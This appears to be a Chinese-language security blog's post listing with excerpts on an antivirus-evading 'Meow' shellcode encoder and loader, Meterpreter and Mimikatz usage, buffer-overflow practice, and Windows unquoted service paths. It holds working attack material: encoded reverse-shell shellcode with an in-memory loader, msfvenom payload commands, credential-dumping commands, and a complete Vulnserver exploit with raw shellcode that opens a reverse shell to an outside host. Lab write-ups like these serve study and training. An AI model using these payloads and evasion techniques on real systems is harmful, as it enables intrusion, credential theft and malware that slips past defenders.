Meow Ware Loader - A Windows Shellcode Loader with Meow meow

一款會把 Shell Code 給轉成 meow meow 的 Shell Code 載入器。程式碼使用方式等請參考下方 GitHub 連結。 GitHub : https://github.com/stevenyu113228/Meow-Ware-Loader 現在,有許多的防毒軟體都會透過惡意程式碼的特徵 (例如 YARA RULE) 來進行捕捉,因此部分惡意程式會透過 Shell Code 形式,在執行時間再注入到記憶體中,透過這種方式來規避查緝。 不過現在也有許多防毒軟體開始支援掃描非執行檔的 Shell Code 程式,因此可以透過把 Shell Code 進行編碼,以規避查緝,並透過 Loader 來進行載入執行。 其實這個構想是我前天晚上睡到一半想到的,剛好想到說 Encode 通常大家都愛用什麼 Base64、ROT13 這類現有的編碼方式,而防毒軟體在已知的狀況下很有可能也可以進行自動解碼,因此我想到了自創的 Meow Encode 法。 Meow Encode Method 我們知道 Meow 總共有 4 個英文字母,而如果考量到小大寫的話,總共有 2^4 = 16 種組合。我們也可以直接把大小寫當作二進位來看,小寫是 0 、 大寫是 1。因此對照表如下 MeowBinaryDecimalHexadecimalmeow000000meoW000111meOw001022meOW001133mEow010044mEoW010155mEOw011066mEOW011177Meow100088MeoW100199MeOw101010aMeOW101111bMEow110012cMEoW110113dMEOw111014eMEOW111115f 因此,編碼後的 Shell Code 會長的類似這個樣子,下面為 msfvenom 的 shell_reverse_tcp 範例 MEOWMEowMEOwMeowMeowmeOwmeowmeowmeowmeowmeowmeowmEOwmeowMeowMeoWMEOwmEoWmeOWmeoWMEowmeowmEOwmEowMeowMeOWmEoWmeowmeOWmeowMeowMeOWmEoWmeOwmeowMEowMeowMeOWmEoWmeOwmeoWmEowMeowMeOWmEOWmeOwmeOwMeowmeowMEOWMeOWmEOWmEowMeOwmeOwmEOwmeOWmeoWMEOWMEOWMeOwMEowmeOWMEowmEOwmeoWmEOWMEowmeowmeOwmeOwMEowmeOwmeowMEowmeoWMEowMEOWmeowMEoWmeowmeoWMEowmEOWMEOwmeOwMEOWmeOwmEoWmeOwmEoWmEOWMeowMeOWmEoWmeOwmeoWmeowMeowMeOWmEowMeOwmeOWMEowMeowMeOWmEowMEowmeoWmeoWmEOWMeowMEOwmeOWmEowMeowmeowmeoWMEoWmeoWmEoWmeoWMeowMeOWmEoWMeoWmeOwmeowmeowmeoWMEoWmeOWMeowMeOWmEowMeoWmeoWMeowMEOwmeOWmeOWMeOwmEowMeoWMeowMeOWmeOWmEowMeowMeOWmeowmeoWMEoWmEOwmeOWmeoWMEOWMEOWMeOwMEowMEowmeoWMEowMEOWmeowMEoWmeowmeoWMEowmEOWmeOWMeowMEOwmeowmEOWmEoWMEOWmEOwmeowmeOWmEOWMEoWMEOWMeowmeOWMeOWmEOWMEoWmeOwmEowmEOWmEoWMEOwmEowmEoWMeowMeowMeOWmEoWMeowmeOwmEowmeowmeoWMEoWmeOWmEOwmEOwMeowMeOWmeowMEowmEowMeOWMeowMeOWmEoWMeowmeoWMEowmeowmeoWMEoWmeOWMeowMeOWmeowmEowMeowMeOWmeowmeoWMEoWmeowMeowMeoWmEowmEowmeOwmEowmeOwmEowmEoWMeOWmEoWMeOWmEOwmeoWmEoWMeoWmEoWMeOwmEoWmeoWMEOWMEOWMEOwmeowmEoWMEOWmEoWMEOWmEoWMeOwMeowMeOWmeoWmeOwMEOwMeOWMeowMEoWmEoWMEoWmEOwMeowmeOWmeOWmeOWmeOwmeowmeowmeowmeowmEOwMeowmEOWmEOWmEOWmeOWmeOWmeOwmEoWMEOWmEoWmEowmEOwMeowmEowMEowmEOWmEOWmeOwmEOwmeowmEOWMEOWMEOWMEoWmEoWMeOWMeowMeoWmeowmeowmeoWmeowmeowmeowmeowmeOwMeoWMEowmEowmEoWmEowmEoWmeowmEOwMeowmeOwMeoWMeowmeowmEOwMeOWmeowmeowMEOWMEOWMEoWmEoWmEoWmeowmEoWmeowmEoWmeowmEoWmeowmEowmeowmEoWmeowmEowmeowmEoWmeowmEOwMeowMEOwMeOwmeowMEOWMEoWMEOWMEOwmeowMEOWMEOWMEoWmEoWMeoWmEOWmEOwMeOwmeowmEoWmEOwMeowMEowmeowMeOwMeowmeOwMeowMeowmeoWmEOwMeowmeowmeOwmeowmeowmeOwmEowMEOwMEoWMeowMeoWMEOwmEOwmEOwMeOwmeoWmeowmEoWmEOwmEoWmEOWmEOwMeowMeoWMeoWMeOwmEoWmEOWmEowmEOwmeoWMEOWMEOWMEoWmEoWMeowmEoWMEowmeowmEOWmEowmeowMEowMEOWMEOWmEowMEOwmeowMeowmEOWmEoWMEOwMEowmEOwMeowMEOWmeowMeOWmEoWMeOwmeOwmEoWmEOwMEOWMEOWMEoWmEoWmEOwMeowmEOwmeOWmEOwMEoWmEOwmEowmeowmeowMeowMeoWMEOwmeOWmEoWmEOWmEoWmEOWmEoWmEOWmeOWmeoWMEOWmEOwmEOwMeOwmeoWmeOwmEoWMeoWmEoWmEOwMEOwmeOwMEOWMEoWmEOwmEOwMEowmEOWmEowmEowmeOwmEowmeOWMEowmeowmeoWmeowmeoWMeowMEoWmEowmEowmeOwmEowmeoWmeowMEowmEOwmeowmeowmEowmEowmEoWmEowmEoWmeowmEoWmEOwmEoWmEOwmEoWmEOwmEowmEOwmEoWmEOwmEowMEOwmEoWmEOwmEoWmEOwmEoWmeOWmEoWmEOwmEOwMeowmEOWMeoWMEowMEowmeOWMEOWMeowmEOwMEOWMEOWMEoWmEoWMeowMeoWMEOwmeowmEowMEOwmEoWmEOwmEowmEOwMEOWMEOWmeOWmeowmEOwMeowmeowMeowMeowmEOWmeoWMEoWmEOwmeowMEOWMEOWMEoWmEoWMeOWMeOWMEOWmeowMeOWmEoWMeOwmeOwmEoWmEOwmEOwMeowMeOwmEOwMeoWmEoWMeOWMEoWMeoWMEoWMEOWMEOWMEoWmEoWmeOWMEowmeowmEOwmEOWMEowmeowMeOwMeowmeowMEOWMeOWMEOwmeowmEOWmEoWmeowmEoWMeOWMeOWmEowmEOWmeoWmeOWmEOWmeOwmEOwMEOWmEOwMeOwmeowmeowmEoWmeOWMEOWMEOWMEoWm Shell Code Loader void *exec = VirtualAlloc(0, memory_allocation, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); memcpy(exec, shellcode, memory_allocation); VirtualProtect(exec, memory_allocation, PAGE_EXECUTE, &ignore); (*(void (*)()) exec)(); 這邊我參考抄了 DimopoulosElias 大大寫的 SimpleShellcodeInjector 程式碼,其中重點是下面這幾行 ...

2022-02-28 · 1 分鐘 · steven

Meterpreter 基礎

產 Shell msfvenom -p windows/meterpreter/reverse_tcp LHOST={IP} LPORT={PORT} -f exe -e x86/shikata_ga_nai > {FILE} 執行 記得 Payload 需要修改成相對應的windows/meterpreter/reverse_tcp 常見指令 ls,pwd , mkdir, catBJ4getuid- 取得使用者名稱edit {檔名}- 會直接開啟 vim 可以改檔案sysinfo- 系統資訊getsystem- 如果有過 UAC 的話,有機率可以直接拿 system 執行後輸入 getuid 就可以確認自己是否真的是 system 了ps``migrate {PID}- 可以讓自己爬到 x64 之類的 system 權限上 例如 lsass.exe 的 PIDscreenshot- 截圖 需要是當前使用者,不能是 system 之類upload {檔案} / download {檔案}- upload -> attacker to victim download -> victim to attacker Mimikatz 需要是 system 權限 load kiwi help kiwi lsa_dump_sam取 Hashlsa_dump_secrets- 取明文密碼kiwi_cmd sekurlsa::logonpasswords- 需要先 migrate 到 x64 上

2021-12-26 · 1 分鐘 · steven

Buffer Overflow Prep OVERFLOW1

https://tryhackme.com/room/bufferoverflowprep Immunity debugger 快捷鍵Ctrl + F2 重開 F9 開始 觀察 nc 上去,決定這次的目標是 OVERFLOW1 Fuzz 準備 Overflow1.spk s_readline(); s_string("OVERFLOW1 "); s_string_variable("0"); 執行 generic_send_tcp 192.168.1.102 1337 Overflow1.spk 0 0 Run 下去他就爛ㄌ 可以觀察到 EIP 變成 41414141 Cyclic 找 Offset from pwn import * r = remote("192.168.1.102",1337) perfix = b"OVERFLOW1 " cy = cyclic() payload = perfix + cy r.sendline(payload) 這題因為長度OK所以可以這樣做正常解法建議先 b'a'*1000 先 try 到 offset 蓋到 EIP 變成 0x6161611000 , 5000 之類的亂猜 因為有時候蓋太多他也會爛到 EIP 不變 QQ之後 cyclic(長度),就可以產出指定的長度觀察 EIP 變成 61757461- pwn cyclic -l 0x61757461- Offset 為 1978重新測試 from pwn import * r = remote("192.168.1.102",1337) perfix = b"OVERFLOW1 " padding = b'a' * 1978 payload = perfix + padding + b'bbbb' r.sendline(payload) ...

2021-08-27 · 3 分鐘 · steven

Vulnserver (TRUN) Windows Overflow

事前準備 Vulnserverhttps://github.com/stephenbradshaw/vulnserver 這邊我的環境是開在 Microsoft Windows 10 專業版 10.0.19042 (沒有用 VM) 關閉 Windows DefenderImmunity Debugger- 安裝 Moma 的 Script把 moma.py 直接丟進 C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands 即可Kali- 安裝 pwntools 其他都有內建 簡介指令 cyclicpwntools 功能 (我覺得用起來比較順手)pwn cyclic或是在 python 裡面的 pwn.cyclic() 可以產出 cyclic 字串 pwn cyclic -l {Pattern in hex}- 隨便取 4 個值,都能知道他 offset 第幾格 msf 功能- /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l {length}產出長度為 length 的字串/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l {length} -q {pattern}- Fuzz 腳本- generic_send_tcp {IP} {Port} {腳本.spk} 0 0 s_readline(); s_string("{command}"); // 開頭要輸入的東西 s_string_variable("0"); 觀察 第一步,nc 上去觀察這次要打ㄉ洞是 TRUN- 基本指令是 TRUN {something} Fuzz 所以寫 TRUN 的 generic_send_tcp 的 Script trun1.spk s_readline(); s_string("TRUN "); // 開頭要輸入的東西 s_string_variable("0"); 執行generic_send_tcp 192.168.1.102 9999 trun1.spk 0 0 Run 下去隔了幾秒鐘, Debugger 就跳卡住了- 下面有寫是 0x41414141 位子錯誤 然後可以發現 EIP 也被變成了 0x41414141 0x41 是 A觀察 EAX- 發現 Command 的開頭是 TRUN /.:/AAA.... 只是我們不知道 Fuzz 有戳幾個 A 但確定他的開頭是 TRUN /.:/ Cyclic 找 Offset 用 cyclic 找 offset from pwn import * r = remote("192.168.1.102",9999) command = b"TRUN /.:/" cyclic_code = cyclic() payload = command + cyclic_code r.sendline(payload) 觀察 EIP 值為 0x61616275輸入 pwn cyclic -l 0x61616275- 就能知道 offset 是 2003測試 Offset 是否正確- 這邊用 0xdeadbeef 進行測試from pwn import * r = remote("192.168.1.102",9999) command = b"TRUN /.:/" padding = b'a'*2003 meow = p32(0xdeadbeef) payload = command + padding + meow r.sendline(payload)- 發現可以成功蓋到 EIP 了 觀察蓋完 EIP 後 觀察蓋完 EIP 後的東東 from pwn import * r = remote("192.168.1.102",9999) command = b"TRUN /.:/" padding = b'a'*2003 new_eip = p32(0xdeadbeef) padding2 = cyclic() payload = command + padding + new_eip + padding2 r.sendline(payload) 一樣用 cyclic 會發現 ESP 指向 aaaa 也就是 0x61616161 就是說,我們的 address 後面直接接的東西會被 EIP 所指到 找 Shell Code 跳躍點 理論上我們在目前寫的後面 shell_code並且把 new_eip 設定為 jmp ESP 即可在 immunity debugger 下面輸入- !mona jmp -r esp 可以找到 jmp ESP 的指令 第一個在 0x625011af所以我們把 EIP 蓋成這個,他接下來就會跳去 EIP 指到的 Memory- 並且執行我們的 Shell Code 生 Reverse shell 接著要想辦法生成 reverse shell 的 shell code 這邊可以直接用 msfvenom 處理msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.106 LPORT=7877 EXITFUNC=thread -f c -a x86 -b "\x00" 整理一下貼到 Python再在前面增加幾個 nop (0x90)做 padding- 避免直接跳出現一些問題 Padding 長度以 32bit 的倍數為原則 padding2 = p32(0x90909090) * 10 完整 Exploit from pwn import * r = remote("192.168.1.102",9999) command = b"TRUN /.:/" padding = b'a'*2003 new_eip = p32(0x625011af) padding2 = p32(0x90909090) * 10 shellcode = (b"\xbe\xb0\x17\xe4\xba\xda\xcc\xd9\x74\x24\xf4\x58\x33\xc9\xb1" b"\x52\x31\x70\x12\x03\x70\x12\x83\x70\x13\x06\x4f\x8c\xf4\x44" b"\xb0\x6c\x05\x29\x38\x89\x34\x69\x5e\xda\x67\x59\x14\x8e\x8b" b"\x12\x78\x3a\x1f\x56\x55\x4d\xa8\xdd\x83\x60\x29\x4d\xf7\xe3" b"\xa9\x8c\x24\xc3\x90\x5e\x39\x02\xd4\x83\xb0\x56\x8d\xc8\x67" b"\x46\xba\x85\xbb\xed\xf0\x08\xbc\x12\x40\x2a\xed\x85\xda\x75" b"\x2d\x24\x0e\x0e\x64\x3e\x53\x2b\x3e\xb5\xa7\xc7\xc1\x1f\xf6" b"\x28\x6d\x5e\x36\xdb\x6f\xa7\xf1\x04\x1a\xd1\x01\xb8\x1d\x26" b"\x7b\x66\xab\xbc\xdb\xed\x0b\x18\xdd\x22\xcd\xeb\xd1\x8f\x99" b"\xb3\xf5\x0e\x4d\xc8\x02\x9a\x70\x1e\x83\xd8\x56\xba\xcf\xbb" b"\xf7\x9b\xb5\x6a\x07\xfb\x15\xd2\xad\x70\xbb\x07\xdc\xdb\xd4" b"\xe4\xed\xe3\x24\x63\x65\x90\x16\x2c\xdd\x3e\x1b\xa5\xfb\xb9" b"\x5c\x9c\xbc\x55\xa3\x1f\xbd\x7c\x60\x4b\xed\x16\x41\xf4\x66" b"\xe6\x6e\x21\x28\xb6\xc0\x9a\x89\x66\xa1\x4a\x62\x6c\x2e\xb4" b"\x92\x8f\xe4\xdd\x39\x6a\x6f\x22\x15\x75\x05\xca\x64\x75\xc7" b"\xcf\xe0\x93\x9d\xdf\xa4\x0c\x0a\x79\xed\xc6\xab\x86\x3b\xa3" b"\xec\x0d\xc8\x54\xa2\xe5\xa5\x46\x53\x06\xf0\x34\xf2\x19\x2e" b"\x50\x98\x88\xb5\xa0\xd7\xb0\x61\xf7\xb0\x07\x78\x9d\x2c\x31" b"\xd2\x83\xac\xa7\x1d\x07\x6b\x14\xa3\x86\xfe\x20\x87\x98\xc6" b"\xa9\x83\xcc\x96\xff\x5d\xba\x50\x56\x2c\x14\x0b\x05\xe6\xf0" b"\xca\x65\x39\x86\xd2\xa3\xcf\x66\x62\x1a\x96\x99\x4b\xca\x1e" b"\xe2\xb1\x6a\xe0\x39\x72\x8a\x03\xeb\x8f\x23\x9a\x7e\x32\x2e" b"\x1d\x55\x71\x57\x9e\x5f\x0a\xac\xbe\x2a\x0f\xe8\x78\xc7\x7d" b"\x61\xed\xe7\xd2\x82\x24") payload = command + padding + new_eip + padding2 + shellcode r.sendline(payload) 本地端開 nc 接 Shell成功!! 參考資料 https://www.hackercat.org/oscp/buffer-overflows-made-easy-notes-oscp-preparation https://www.youtube.com/watch?v=o-1qYzAqM_Q https://www.youtube.com/watch?v=yJF0YPd8lDw

2021-08-25 · 2 分鐘 · steven

Windows Unquoted Services Path

顧名思義,這是一個 Windows 服務上面的漏洞。找到符合沒有加上引號的路徑很常見,但是真正能夠運用的機率不一定很多,因為前提是還需要注意相關路徑的寫入以及讀取權限。 使用前提:檔案的路徑中有空格 而且檔案沒有用引號括起來 對於該檔案的前一個目錄具有寫入的權限 達成這兩個前提就有機會可以實作 Unquoted Services Path 相關的漏洞應用,但通常在 XP 以後的作業系統,預設普通使用者沒有 C:\ 的寫入權限,所以大多數狀況都不適用;而使用者也須要具備對於該 Services 的開啟與關閉權限。 先備知識,觀察權限AccessChk Services 權限accesschk.exe /accepteula -ucqv {services_name} 資料夾權限- accesschk -uwdq "C:\Program Files (x86)" 觀察 wmic 輸入 wmic service get name,pathname可以觀察到所有服務的名稱與檔案名稱 輸入 wmic service get pathname,startname- 可以觀察到程式名稱與執行者名稱(startname) 在此, startname 若為 LocalSystem 則代表有 system 權限 Winpeas Winpeas 也有這種相關提示No quotes and Space detectd 實作與解釋 假設我們看到一個 Path 如下所述 C:\Program Files (x86)\meow\meowmeow 8.7\meoewww.exe 我們可以發現路徑依序為Program Files (x86)Windows 會先嘗試解釋為 Program.exe 再解釋 Program Files (x86)``meow``meowmeow 8.7- Windows 會先嘗試解釋為 meowmeow.exe 再解釋 meowmeow 8.7``meoewww.exe 在這段路徑中,我們觀察路徑的空白會發現,有兩個可以利用的點,分別是路徑中有空白的Program Files (x86)以及meowmeow 8.7 ...

2021-08-05 · 1 分鐘 · steven